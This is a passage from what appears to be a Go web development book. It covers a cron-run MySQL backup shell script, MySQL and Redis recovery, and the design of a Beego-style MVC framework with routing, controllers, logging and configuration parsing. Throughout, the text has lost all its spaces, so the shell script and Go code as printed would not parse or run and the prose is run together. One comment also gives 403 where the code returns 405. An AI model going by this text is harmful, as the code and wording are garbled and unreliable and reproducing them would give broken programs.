#DeterminewhethertoMySQLisrunning;ifnot,thenabortthebackupmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];thenecho"ERROR:MySQLisnotrunning!backupaborted!"exitelseecho$welcome_msgfi
#Connecttothemysqldatabase;ifaconnectioncannotbemade,abortthebackupmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';exit
end
flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupaborted!"exitelseecho"MySQLconnectok!Pleasewait......"#Determinewhetherabackupdatabaseisdefinedornot.Ifso,beginthebackup;ifnot,thenabortif["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname-default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessfullybackedupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackuphasfailed!"fi
doneelseecho"ERROR:Nodatabasetobackup!backupaborted!"exitfi#Ifdeletingexpiredbackupsisenabled,deleteallexpiredbackupsif["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then
#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabaseshavebeensuccessfullybackedup!Thankyou!"exitfi
Modifythepropertiesoftheshellscriptlikeso:
chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh
Thenaddthecrontabcommand:
0000***/root/mysql_backup.sh
Thissetsupregularbackupsofyourdatabasestothe/var/www/mysqldirectoryeverydayat00:00,whichcanthenbesynchronizedusingrsync.
MySQLRecovery
We'vejustdescribedsomecommonlyusedbackuptechniquesforMySQL,namelyhotbackupsandcoldbackups.Torecap,themaingoalofahotbackupistobeabletorecoverdatainreal-timeafteranapplicationhasfailedinsomeway,suchasinthecaseofaserverhard-diskmalfunction.Welearnedthatthistypeofschemecanbeimplementedbymodifyingdatabaseconfigurationfilessothatdatabasesarereplicatedontoaslave,minimizinginterruptiontoservices.
ButsometimesweneedtoperformacoldbackupoftheSQLdatarecovery,aswithdatabasebackup,youcanimportthroughthecommand:Hotbackupsare,however,sometimesinadequate.Therearecertainsituationswherecoldbackupsarerequiredtoperformdatarecovery,evenifit'sonlyapartialone.Whenyouhaveacoldbackupofyourdatabase,youcanusethefollowingMySQLcommandtoimportit:
mysql-uusername-pdatabse<backup.sql
Asyoucansee,importingandexportingdatabaseisafairlysimplematter.Ifyouneedtomanageadministrativeprivilegesordealwithdifferentcharactersets,thisprocessmaybecomealittlemorecomplicated,thoughthereareanumberofcommandswhichwillhelpyoutodothis.
Redisbackup
RedisisoneofthemostpopularNoSQLdatabases,andbothhotandcoldbackuptechniquescanalsobeusedinsystemswhichuseit.LikeMySQL,Redisalsosupportsmaster/slavemode,whichisidealforimplementinghotbackups(refertoRedis'officialdocumentationtolearnlearnhowtoconfigurethis;theprocessisverystraightforward).Asforcoldbackups,Redisroutinelysavescacheddatainmemorytothedatabasefileon-disk.Wecansimplyusethersyncbackupmethoddescribedabovetosynchronizeitwithanon-localmachine.
Redisrecovery
Similarly,Redisrecoverycanbedividedintohotandcoldbackuprecovery.ThemethodsandobjectivesofrecoveringdatafromahotbackupofaRedisdatabasearethesameasthosementionedaboveforMySQL,aslongastheRedisapplicationisusingtheappropriatedatabaseconnection.
ARediscoldbackuprecoverysimplyinvolvescopyingbacked-updatabasefilesintotheworkingdirectory,thenstartingRedisonit.Thedatabasefilesareautomaticallyloadedintomemoryatboottime;thespeedwithwhichRedisbootswilldependonthesizeofthedatabasefiles.
Summary
Inthissection,welookedatsometechniquesforbackingupdataaswellasrecoveringfromdisasterswhichmayoccurafterdeployingourapplications.Wealsointroducedrsync,atoolwhichcanbeusedtosynchronizefilesondifferentsystems.Usingrsync,wecaneasilyperformbackupandrestoration
proceduresforbothMySQLandRedisdatabases,amongothers.Wehopethatbybeingintroducedtosomeoftheseconcepts,youwillbeabletodevelopdisasterrecoveryprocedurestobetterprotectthedatainyourwebapplications.
Links
DirectoryPrevioussection:DeploymentNextsection:Summary
12.5SummaryInthischapter,wediscussedhowtodeployandmaintainourGowebapplications.Wealsolookedatsomecloselyrelatedtopicswhichcanhelpustokeepthemrunningsmoothly,withminimalmaintenance.
Specifically,welookedat:
Creatingarobustloggingsystemcapableofrecordingerrors,andnotifyingsystemadministratorsHandlingruntimeerrorsthatmayoccur,includingloggingthem,andhowtorelaythisinformationinauser-friendlymannerthatthereisaproblemHandling404errorsandnotifyingusersthattherequestedpagecannotbefoundDeployingapplicationstoaproductionenvironment(includinghowtodeployupdates)HowtodeployhighlyavailableapplicationsBackingupandrestoringfilesanddatabases
Afterreadingthecontentsofthischapter,thosethinkingaboutdevelopingawebapplicationfromscratchshouldalreadyhavethefullpictureonhowto
doso;thischapterprovidedanintroductiononhowtomanagedeploymentenvironments,whilepreviouschaptershavefocusedonthedevelopmentofcode.
Links
DirectoryPrevioussection:BackupandrecoveryNextchapter:Buildingawebframework
13BuildingawebframeworkThePrecedingtwelvechaptersdescribehowtodevelopwebapplicationsinGo,introducingalotofbasicknowledge,developmenttoolsandtechniques.Inthischapter,wewillbeusingthisknowledgetoimplementasimplewebframework.Thefirstsectionofthischapterwilltakeyouthroughtheplanninganddesignstageofbuildingawebframework.We'lllookatleveragingtheMVCpatternaswellasdesigningprogramexecutionflow,amongotherthings.Thesecondsectionwilldescribethefirstfeatureofourframework:Routing;namely,howtomapURLstoprocessinglogic.Theninthethirdsection,wedescribetheprocessinglogicitself,whichinvolvesdesigninggenericcontrollers,andhowtohandlerequestsandreturnresponsesafterinheritingfromanobjecthandler.Next,wedescribesomeoftheauxiliaryfunctionalitycommontomostwebframeworks,suchaslogprocessing,informationconfiguration,etc.Finally,we'llimplementasimplebloggingsystemontopofourframeworkwhichwilldemonstratetheapplicationlogicnecessaryforpublishing,modifying,deleting,anddisplayinglistsofblogposts.
Byseeingfirst-handhowtoimplementsuchacompleteprojectfromscratch,youwillhopefullyhaveabetterunderstandingoftheinnerworkingsofGowebapplications.You'llbecomfortablebuildingyourownprojectdirectorystructures,implementingURLroutersandutilizingMVC,amongotheraspectsofwebdevelopment.Amongtheframeworksprevalenttoday,MVC
isnolongeramyth.It'snotuncommontohearprogrammersarguingaboutwhichframeworksaregoodandwhicharebad,whichisoftentooshallowofanapproach.Frameworksareonlytools,andsometoolsaremoresuitableforcertainapplicationsthanothers.Therearenouniversallygoodorbadtools.Thus,byteachingyourselfhowtowriteaframeworkfromscratch,youwillbeabletotailor-maketheperfecttooltobestrealizeyourideas!
Links
DirectoryPreviouschapter:Chapter12summaryNextsection:Projectprogram
13.1ProjectplanningAnythingyouintendtodowellmustfirstbeplannedwell.Inourcase,ourintentionistodevelopabloggingsystem,sothefirststepweshouldtakeistodesigntheflowoftheapplicationinitsentirety.Whenwehaveaclearunderstandingoftheourapplication'sprocessofexecution,thesubsequentdesignandcodingstepsbecomemucheasier.
GOPATHandprojectsettings
Let'sproceedbyassumingthatourGOPATHpointstoafolderwithwithanordinarydirectoryname(ifnot,wecaneasilysetupasuitabledirectoryandsetitspathastheGOPATH).Aswe'vedescribeearlier,aGOPATHcancontainmorethanonedirectory:inWindows,wecansetthisasanenvironmentvariable;inlinux/OSXsystems,GOPATHcanbesetusingexport,i.e:exportgopath=/path/to/your/directory,aslongasthedirectorywhichGOPATHpointstocontainsthethreesub-directories:pkg,binandsrc.Below,we'veplacedthesourcecodeofournewprojectinthesrcdirectorywiththetentativenamebeelog.HerearesomescreenshotsoftheWindowsenvironmentvariablesaswellasofthedirectorystructure.
Figure13.1SettingtheGOPATHenvironmentvariable
Figure13.2Theworkingdirectoryunder$gopath/src
Applicationflowchart
Ourbloggingsystemwillbebasedonthemodel-view-controllerdesignpattern.MVCistheseparationoftheapplicationlogicfromthepresentation
layer.Inpractice,whenwekeepthepresentationlayerseparated,wecandrasticallyreducetheamountofcodeneededonourwebpages.
Modelsrepresentdataaswellastherulesandlogicgoverningit.InGeneral,amodelclasswillcontainfunctionsforremoving,insertingandupdatingdatabaseinformation.Viewsarearepresentationofthestateofamodel.Aviewisusuallyapage,butinGo,aviewcanalsobeafragmentofapage,suchasaheaderorfooter.ItcanalsobeanRSSfeed,oranyothertypeof"page".Go'stemplatepackageprovidesverygoodsupportforviewlayerfunctionality.ControllersarethegluelogicbetweenthemodelandviewlayersandencompassesalltheintermediarylogicnecessaryforhandlingHTTPrequestsandgeneratingWebpages.
Thefollowingfigureisanoverviewoftheprojectframeworkanddemonstrateshowdatawillflowthroughthesystem:
Figure13.3frameworkdataflow
1. Main.goistheapplication'sentrypointandinitializessomebasicresourcesrequiredtoruntheblogsuchasconfigurationinformation,listeningports,etc.
2. RoutingchecksallincomingHTTPrequestsand,accordingtothemethod,URLandparameters,matchesitwiththecorrespondingcontrolleraction.
3. Iftherequestedresourcehasalreadybeencached,theapplicationwillbypasstheusualexecutionprocessandreturnaresponsedirectlytotheuser'sbrowser.
4. Securitydetection:TheapplicationwillfilterincomingHTTPrequestsandanyotherusersubmitteddatabeforehandingitofftothecontroller.
5. Controllerloadsmodels,corelibraries,andanyotherresourcesrequiredtoprocessspecificrequests.Thecontrollerisprimarilyresponsibleforhandlingbusinesslogic.
6. Outputtherenderedviewtobesenttotheclient'swebbrowser.Ifcachinghasbeenenabled,thefirstviewiscachedforfuturerequeststothesameresource.
Directorystructure
Accordingtotheframeworkflowwe'vedesignedabove,ourblogproject'sdirectorystructureshouldlooksomethinglikethefollowing:
|——main.goimportdocuments|——confconfigurationfilesandprocessingmodule|——controllerscontrollerentry|——modelsdatabaseprocessingmodule|——utilsusefulfunctionlibrary|——staticstaticfiledirectory|——viewsviewgallery
Frameworkdesign
Inordertoquicklybuildourblog,weneedtodevelopaminimalframeworkbasedontheapplicationwe'vedesignedabove.Theframeworkshouldincluderoutingcapabilities,supportforRESTfulcontrollers,automatedtemplaterendering,aloggingsystem,configurationmanagement,andmore.
Summary
Thissectiondescribestheinitialdesignofourbloggingsystem,fromsettingupourGOPATHtobrieflyintroducingtheMVCpattern.Wealsolookedattheflowofdataandtheexecutionsequenceofourbloggingsystem.Finally,wedesignedthestructureofourprojectdirectory.Atthispoint,we'vebasicallycompletedthegroundworkrequiredforassemblingourframework.Inthenextfewsections,wewillimplementeachofthecomponentswe'vediscussed,onebyone.
Links
DirectoryPrevioussection:BuildingawebframeworkNextsection:Customizingrouters
13.2Customizingrouters
HTTProuting
TheHTTProutingcomponentisresponsibleformappingHTTPrequeststoacorrespondingfunctionorstructmethod.Theroutertakestwokeypiecesofinformationfromincomingrequests:
-Theuserrequestedpath(forexample,/user/123,/article/123),andanyquerystringsorparametersthatcomewithit(forexample,?id=11)-TheHTTPrequestmethod(GET,POST,PUT,andDELETE,PATCH,etc.)
Therouterthenforwardstherequesttothehandlerfunction(controllerlayer)thathasbeenregisteredwiththatparticularHTTPmethodandpath.
Defaultroutingimplementation
Insection3.4,weintroducedGo'shttppackageindetail,whichincludedhowtodesignandimplementrouting.Here,wetakeanotherlookatanexamplethatillustratestheroutingprocess:
funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}
http.Handle("/foo",fooHandler)
http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})
log.Fatal(http.ListenAndServe(":8080",nil))
Theexampleabovecallshttp'sdefaultmuxcalledDefaultServeMux,implicitlyspecifiedbythenilparameterinthecalltohttp.ListenAndServe.Thehttp.Handlefunctiontakestwoparameters:thefirstparameteristheresourceyouwantuserstoaccess,specifiedbyitsURLpath(whichisstoredinr.URL.Path)andthesecondargumentbindsahandlerfunctionwiththispath.TheRouterhastwomainjobs:
ToaddandstoreroutinginformationToforwardrequeststoahandlerfunctionforprocessing
Bydefault,Goroutesarehandledwithhttp.Handleandhttp.HandleFunctypes,registeredbydefaultthroughtheunderlyingDefaultServeMux.Handle(patternstring,handlerHandler)function.Thisfunctionmapsresourcepathstohandlersandstorestheminamap[string]muxEntrymap.Thisisthefirstjobthatwementionedabove.
Whentheapplicationisrunning,theGoserverlistenstoaport.Whenitreceivesatcpconnection,itusesaHandlertoprocessit.Asaforementioned,sincetheHandlerintheexampleaboveisnil,thedefaultrouterhttp.DefaultServeMuxisused.Usingthemapofpreviouslystoredroutes,DefaultServeMux.ServeHTTPwilldispatchtherequesttothe
firsthandlerwithamatchingpath.Thisistherouter'ssecondjob.
fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)h=v.h}}
RoutingwithBeego
Atpresent,mostGowebapplicationsbasetheirroutingonhttp'sdefaultrouter,howeverthishasseverallimitations:
Doesnotsupportdynamicrouteswithparameters,suchasthe/user/:UID
DoesnothavegoodsupportforREST.Theaccessmethodscannotberestricted;forinstanceintheaboveexample,whenusersaccess/foo,theycanusetheGET,POST,DELETE,andHEADHTTPmethods,amongothers.Inlargeapps,routingrulescanbecomerepetitiveandcumbersome.Personally,I'vedevelopedsimplewebAPIscomposedofnearlythirtyroutingruleswheninfact,theserulescouldhavebeenfurthersimplifiedusingmethodstructs.
TheBeegoframework'srouterisdesignedtoovercometheselimitations,takingtheRESTparadigmintoconsiderationandsimplifyingthestoringandforwardingofroutesandrequests.
Storingroutes
Toaddressthefirstlimitationofthedefaultrouter,weneedtobeabletosupportdynamicURLparameters.Forthesecondandthirdpoints,weadopt
analternativeapproach,mappingRESTmethodstostructmethodsandroutingrequeststothisstructinsteadhandlerfunctions.Thisway,aforwardedrequestcanbehandledaccordingtotheirHTTPmethod.
Basedontheaboveideas,we'vedesignedtwodatatypes:controllerInfo,whichsavesthepathandthecorrespondingcontrollerTypestructasareflect.Typetype,andControllerRegistor,whichsavesroutinginformationforthespecifiedBeegoapplication.
typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}
typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}
ControllerRegistor'sexternalinterfacecontainsthefollowingmethod:
func(p*ControllerRegistor)Add(patternstring,cControllerInterface)
Itsdetailedimplementationisasfollows:
func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")
j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"
//ausermaychoosetooverridethedefaultexpression
//similartoexpressjs:‘/user/:id([0-9]+)’
ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}
//recreatetheurlpattern,withparametersreplaced//byregularexpressions.Thencompiletheregex.
pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{
//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}
//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t
p.routers=append(p.routers,route)
}
Staticrouting
We'veimplementeddynamicroutinginourexampleabove.Bydefault,Go'shttppackagesupportsservingstaticfileswithhttp.FileServer,whichreturnaHandler.Sincewehaveimplementedacustomrouter,wewillalsoneedawayofhandlingstaticfiles.Beego'sstaticfolderpathissavedinaglobalvariablecalledStaticDir,whichmapsURLtocorrespondingpaths.
TheSetStaticPath'simplementationcanbeseenbelow:
func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}
Theapplication'sstaticroutescanbesetlikeso:
beego.SetStaticPath("/img","/static/img")
Forwardingroutes
WecanforwardroutesbasedontheforwardinginformationcontainedwithinControllerRegistor.Thedetailedimplementationcanbeseeninthefollowingcodesnippet:
//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}}}()varstartedbool
forprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path
//findamatchingRoutefor_,route:=rangep.routers{
//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}
//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)
//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}
params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match}
//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}
in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")method.Call(in)started=truebreak}
//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}
Gettingstarted
Usingourrouterdesign,wecansolvethethreelimitationsmentionedearlier.Thethreemainuse-casesare:
Registeringroutehandlers:
beego.BeeApp.RegisterController("/",&controllers.MainController{})
Handlingdynamicparameters:
beego.BeeApp.RegisterController("/:param",&controllers.UserController{})
Regexmatching:
beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})
Links
DirectoryPrevioussection:ProjectplanningNextsection:Designingcontrollers
13.3DesigningcontrollersMosttraditionalMVCframeworksarebasedonsuffixactionmapping.Nowadays,theRESTstylewebarchitectureisbecomingincreasinglypopular.OnecanimplementREST-styleURLsbyfilteringorrewritingthem,butwhynotjustdesignanewREST-styleMVCframeworkinstead?Thissectionis
basedonthisidea,andfocussesondesigningandimplementingacontrollerbased,REST-styleMVCframeworkfromscratch.Ourgoalistosimplifythedevelopmentofwebapplications,perhapsevenallowingustowriteasinglelineofcodecapableofserving"Hello,world".
Thecontroller'srole
TheMVCdesignpatterniscurrentlythemostusedframeworkmodelforwebapplications.BykeepingModels,ViewsandControllersseparated,wecankeepourwebapplicationsmodular,maintainable,testableandextensible.Amodelencapsulatesdataandanyofthebusinesslogicthatgovernsthatdata,suchasaccessibilityrules,persistence,validation,etc.Viewsserveasthedata'srepresentationandinthecaseofwebapplications,theyusuallyliveastemplateswhicharethenrenderedintoHTMLandserved.Controllersserveasthe"glue"logicbetweenModelsandViewsandtypicallyhavemethodsforhandlingdifferentURLs.Asdescribedintheprevioussection,whenaURLrequestisforwardedtoacontrollerbytherouter,thecontrollerdelegatescommandstotheModeltoperformsomeaction,thennotifiestheViewofanychanges.Incertaincases,thereisnoneedformodelstoperformanykindoflogicalordataprocessing,orforanyviewstoberendered.Forinstance,inthecaseofanHTTP302redirect,noviewneedstoberenderedandnoprocessingneedstobeperformedbytheModel,howevertheController'sjobisstillessential.
RESTfuldesigninBeego
TheprevioussectiondescribesregisteringroutehandlerswithRESTfulstructs.Now,weneedtodesignthebaseclassforalogiccontrollerthatwillbecomposedoftwoparts:astructandinterfacetype.
typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestring
TplNamesstringLayout[]stringTplExtstring}
typeControllerInterfaceinterface{Init(ct*Context,cnstring)//InitializethecontextandsubclassnamePrepare()//someprocessingbeforeexecutionbeginsGet()//method=GETprocessingPost()//method=POSTprocessingDelete()//method=DELETEprocessingPut()//method=PUThandlingHead()//method=HEADprocessingPatch()//method=PATCHtreatmentOptions()//method=OPTIONSprocessingFinish()//executedaftercompletionoftreatmentRender()error//methodexecutedafterthecorrespondingmethodtorenderthepage}
Thenaddtheroutehandlingfunctiondescribedearlierinthischapter.WhenarouteisdefinedtobeaControllerInterfacetype,solongaswecanimplementthisinterface,wecanhaveaccesstothefollowingmethodsofourbaseclasscontroller.
func(c*Controller)Init(ct*Context,cnstring){c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}
func(c*Controller)Prepare(){
}
func(c*Controller)Finish(){
}
func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Render()error{iflen(c.Layout)>0{varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}
}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}
func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}
Above,thecontrollerbaseclassalreadyimplementsthefunctionsdefinedintheinterface.Throughourroutingrules,therequestwillberoutedtotheappropriatecontrollerwhichwillinturnexecutethefollowingmethods:
Init()initializationroutinePrepare()pre-initializationroutine;eachinherittingsubclassmayimplementthisfunctionmethod()dependingontherequestmethod,performdifferentfunctions:GET,POST,PUT,HEAD,etc.Subclassesshouldimplementthesefunctions;ifnotimplemented,thenthedefaultis403Render()optionalmethod.Determinewhetherornottoexecuteaccordingtotheglobalvariable"AutoRender"Finish()isexecutedaftertheactionbeencompleted.Eachinherittingsubclassmayimplementthisfunction
Applicationguide
Above,we'vejustfinisheddiscussingBeego'simplementationofthebase
controllerclass.Wecannowusethisinformationtodesignourrequesthandling,inheritingfromthebaseclassandimplementingthenecessarymethodsinourowncontroller.
packagecontrollers
import("github.com/astaxie/beego")
typeMainControllerstruct{beego.Controller}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}
Inthecodeabove,we'veimplementedasubclassofControllercalledMainControllerwhichonlyimplementstheGet()method.IfausertriestoaccesstheresourceusinganyoftheotherHTTPmethods(POST,HEAD,etc),a403Forbiddenwillbereturned.However,ifausersubmitsaGETrequesttotheresourceandwehavehavetheAutoRendervariablesettotrue,theresource'scontrollerwillautomaticallycallitsRender()function,renderingthecorrespondingtemplateandrespondingwiththefollowing:
Theindex.tplcodecanbeseenbelow;asyoucansee,parsingmodeldataintoatemplateisquitesimple:
<!DOCTYPEhtml><html><head><title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>
Links
DirectoryPrevioussection:CustomizingroutersNextsection:Logsandconfigurations
13.4Loggingandconfiguration
Theimportanceofloggingandconfiguration
Previouslyinthebook,wesawthateventloggingplaysaveryimportantroleinapplicationdevelopment.Withadequatelogging,wecanrecordcrucialinformationthatcanlaterbedissectedfordebuggingandoptimizationpurposes.Inthesectionwherewelookedattheseelogloggingutility,wesawthatithadsettingsforvariousloglevelgradations,whichcanbeessentialforprogramdevelopmentanddeployment;wecansetthelogginglevellowerinadevelopmentenvironment,whilesettingithighinproductionsothatwecanmaskextraneousinformationwhenwearetryingtodebugourapplication.
Settingupserverconfigurationmodulefordeployinganapplicationinvolvesanumberofdifferentserversettings.Forexample,wetypicallyneedtoprovideinformationregardingdatabaseconfiguration,listeningports,etc.,
viatheconfigurationfile.Settingupacentralizedconfigurationfileallowsustheflexibilityofdeployingondifferentmachinesandconnectingtoremotedatabases,ifneeded.
TheBeegologgingsystem
TheBeegologger'sdesignborrowsideasfromseelogprovidessimilarfunctionalityintermsofsettinglogginglevels.Beego'ssystemis,however,morelightweightandmakesuseoftheGo'slog.Loggerinterface.Bydefault,logsareoutputtedtoos.Stdout,butuserscanimplementthisinterfacethroughbeego.SetLoggertocustomizethis.Adetailedexampleofanimplementedinterfacecanbeseenbelow:
//Loglevelsforcontrollingtheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical)
//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace
//LogLevelreturnsthegloballoglevelandcanbeusedin//acustomimplementationsoftheloggerinterface.funcLevel()int{returnlevel}
//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}
Thissectionimplementstheaboveloggradingsystem.Thedefaultlevelis
settoTraceanduserscancustomizegradinglevelsusingSetLevel.
//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)
//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}
//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}
//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}
//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{BeeLogger.Printf("[I]%v\n",v)}}
//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}
//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}
//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}
ThecodesnippetaboveinitializesaBeeLoggerobjectbydefault,outputtinglogstoos.Stdout.Asmentioned,userscanimplementbeego.SetLoggertocustomizethelogger'soutput.BeeLoggerimplementssixfunctions:
Trace(recordgeneralinformation,forexample:)"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"
Debug(debugginginformation,forexample:)"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"
Info(printinggeneralinformation,forexample:)"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"
Warn(warningmessages,forexample:)"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"
Error(errormessages,forexample:)"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"
Critical(fatalerrors,forexample:)"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionor
loss"
Youcanseethateachoftheselevelshasaspecificpurpose.ForinstanceifwesettheloggingleveltoWarn(level=LevelWarning),atthetimeofdeployment,allofthelowerlevellogs(Trace,Debug,Info)willnotoutputanything.
Beegoconfigurationdesign
Forprocessingconfigurationinformation,Beegoimplementsakey=valuefileparserwhichreadsinformationformattedsimilarlytoiniconfigurationfiles.Theparserreadstheconfigurationdataandsavesittoamap.Finally,itcallsseveralfunctionsforretrievingthevalue'sdatatype(int,string,etc).Thedetailedimplementationcanbeseenbelow:
Definesomeglobalconstantsfortheiniconfigurationfile:
var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})
Definestheformatoftheconfigurationfile:
//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}
Definesafunctionforparsingthefile.Theprocessbeginsbyopeningthefile,thenreadingitlinebylineandparsingcomments,blanklinesandkey=valuedata:
//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}
